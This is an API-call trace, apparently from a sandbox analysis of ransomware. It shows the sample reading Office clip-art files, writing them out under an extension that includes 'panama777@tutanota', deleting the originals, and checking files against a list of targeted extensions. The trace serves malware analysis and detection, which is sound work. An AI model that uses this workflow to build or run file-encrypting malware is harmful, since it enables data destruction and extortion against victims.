	[0256.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.631] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3986) returned 1
	[0256.631] CloseHandle (hObject=0x33c) returned 1
	[0256.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20
	[0256.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.632] GetLastError () returned 0x0
	[0256.632] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xf92, lpOverlapped=0x0) returned 1
	[0256.633] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xfa0, lpOverlapped=0x0) returned 1
	[0256.634] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.634] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.634] SetEndOfFile (hFile=0x320) returned 1
	[0256.634] CloseHandle (hObject=0x320) returned 1
	[0256.634] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.634] SetEndOfFile (hFile=0x33c) returned 1
	[0256.636] CloseHandle (hObject=0x33c) returned 1
	[0256.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1
	[0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.637] lstrlenW (lpString=".doc") returned 4
	[0256.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.637] lstrlenW (lpString=".docx") returned 5
	[0256.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.637] lstrlenW (lpString=".pdf") returned 4
	[0256.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.637] lstrlenW (lpString=".xls") returned 4
	[0256.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.637] lstrlenW (lpString=".xlsx") returned 5
	[0256.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.637] lstrlenW (lpString=".ppt") returned 4
	[0256.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.637] lstrlenW (lpString=".zip") returned 4
	[0256.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.637] lstrlenW (lpString=".rar") returned 4
	[0256.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.637] lstrlenW (lpString=".bz2") returned 4
	[0256.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString=".7z") returned 3
	[0256.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.638] lstrlenW (lpString=".dbf") returned 4
	[0256.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.638] lstrlenW (lpString=".1cd") returned 4
	[0256.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.638] lstrlenW (lpString=".jpg") returned 4
	[0256.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.638] lstrlenW (lpString=".doc") returned 4
	[0256.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString=".docx") returned 5
	[0256.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.638] lstrlenW (lpString=".pdf") returned 4
	[0256.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.638] lstrlenW (lpString=".xls") returned 4
	[0256.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.638] lstrlenW (lpString=".xlsx") returned 5
	[0256.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.638] lstrlenW (lpString=".ppt") returned 4
	[0256.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.639] lstrlenW (lpString=".zip") returned 4
	[0256.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.639] lstrlenW (lpString=".rar") returned 4
	[0256.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.639] lstrlenW (lpString=".bz2") returned 4
	[0256.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.639] lstrlenW (lpString=".7z") returned 3
	[0256.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.639] lstrlenW (lpString=".dbf") returned 4
	[0256.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.639] lstrlenW (lpString=".1cd") returned 4
	[0256.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63
	[0256.639] lstrlenW (lpString=".jpg") returned 4
	[0256.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.639] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.639] lstrlenW (lpString="BL00195_.WMF") returned 12
	[0256.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.640] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=8070) returned 1
	[0256.640] CloseHandle (hObject=0x33c) returned 1
	[0256.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20
	[0256.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.641] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.641] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.641] GetLastError () returned 0x0
	[0256.641] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1f86, lpOverlapped=0x0) returned 1
	[0256.643] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1f90, lpOverlapped=0x0) returned 1
	[0256.644] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.644] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.644] SetEndOfFile (hFile=0x320) returned 1
	[0256.644] CloseHandle (hObject=0x320) returned 1
	[0256.644] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.644] SetEndOfFile (hFile=0x33c) returned 1
	[0256.646] CloseHandle (hObject=0x33c) returned 1
	[0256.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1
	[0256.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.647] lstrlenW (lpString=".doc") returned 4
	[0256.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString=".docx") returned 5
	[0256.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.647] lstrlenW (lpString=".pdf") returned 4
	[0256.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString=".xls") returned 4
	[0256.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.647] lstrlenW (lpString=".xlsx") returned 5
	[0256.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.647] lstrlenW (lpString=".ppt") returned 4
	[0256.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.647] lstrlenW (lpString=".zip") returned 4
	[0256.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.647] lstrlenW (lpString=".rar") returned 4
	[0256.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString=".bz2") returned 4
	[0256.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString=".7z") returned 3
	[0256.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.647] lstrlenW (lpString=".dbf") returned 4
	[0256.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.647] lstrlenW (lpString=".1cd") returned 4
	[0256.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.648] lstrlenW (lpString=".jpg") returned 4
	[0256.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.648] lstrlenW (lpString=".doc") returned 4
	[0256.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.648] lstrlenW (lpString=".docx") returned 5
	[0256.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.648] lstrlenW (lpString=".pdf") returned 4
	[0256.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.648] lstrlenW (lpString=".xls") returned 4
	[0256.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.648] lstrlenW (lpString=".xlsx") returned 5
	[0256.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.648] lstrlenW (lpString=".ppt") returned 4
	[0256.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.648] lstrlenW (lpString=".zip") returned 4
	[0256.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.648] lstrlenW (lpString=".rar") returned 4
	[0256.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.649] lstrlenW (lpString=".bz2") returned 4
	[0256.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.649] lstrlenW (lpString=".7z") returned 3
	[0256.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.649] lstrlenW (lpString=".dbf") returned 4
	[0256.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.649] lstrlenW (lpString=".1cd") returned 4
	[0256.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63
	[0256.649] lstrlenW (lpString=".jpg") returned 4
	[0256.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.649] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.649] lstrlenW (lpString="BL00234_.WMF") returned 12
	[0256.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.649] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=9304) returned 1
	[0256.649] CloseHandle (hObject=0x33c) returned 1
	[0256.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20
	[0256.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.650] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.650] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.651] GetLastError () returned 0x0
	[0256.651] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2458, lpOverlapped=0x0) returned 1
	[0256.652] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2460, lpOverlapped=0x0) returned 1
	[0256.653] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.653] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.653] SetEndOfFile (hFile=0x320) returned 1
	[0256.653] CloseHandle (hObject=0x320) returned 1
	[0256.653] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.653] SetEndOfFile (hFile=0x33c) returned 1
	[0256.655] CloseHandle (hObject=0x33c) returned 1
	[0256.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1
	[0256.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.656] lstrlenW (lpString=".doc") returned 4
	[0256.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.656] lstrlenW (lpString=".docx") returned 5
	[0256.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.656] lstrlenW (lpString=".pdf") returned 4
	[0256.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.656] lstrlenW (lpString=".xls") returned 4
	[0256.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.656] lstrlenW (lpString=".xlsx") returned 5
	[0256.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.656] lstrlenW (lpString=".ppt") returned 4
	[0256.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.656] lstrlenW (lpString=".zip") returned 4
	[0256.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.657] lstrlenW (lpString=".rar") returned 4
	[0256.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString=".bz2") returned 4
	[0256.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString=".7z") returned 3
	[0256.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.657] lstrlenW (lpString=".dbf") returned 4
	[0256.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.657] lstrlenW (lpString=".1cd") returned 4
	[0256.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.657] lstrlenW (lpString=".jpg") returned 4
	[0256.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.657] lstrlenW (lpString=".doc") returned 4
	[0256.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString=".docx") returned 5
	[0256.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.657] lstrlenW (lpString=".pdf") returned 4
	[0256.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString=".xls") returned 4
	[0256.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.657] lstrlenW (lpString=".xlsx") returned 5
	[0256.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.657] lstrlenW (lpString=".ppt") returned 4
	[0256.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.658] lstrlenW (lpString=".zip") returned 4
	[0256.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.658] lstrlenW (lpString=".rar") returned 4
	[0256.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.658] lstrlenW (lpString=".bz2") returned 4
	[0256.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.658] lstrlenW (lpString=".7z") returned 3
	[0256.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.658] lstrlenW (lpString=".dbf") returned 4
	[0256.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.658] lstrlenW (lpString=".1cd") returned 4
	[0256.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63
	[0256.658] lstrlenW (lpString=".jpg") returned 4
	[0256.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.659] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.659] lstrlenW (lpString="BL00242_.WMF") returned 12
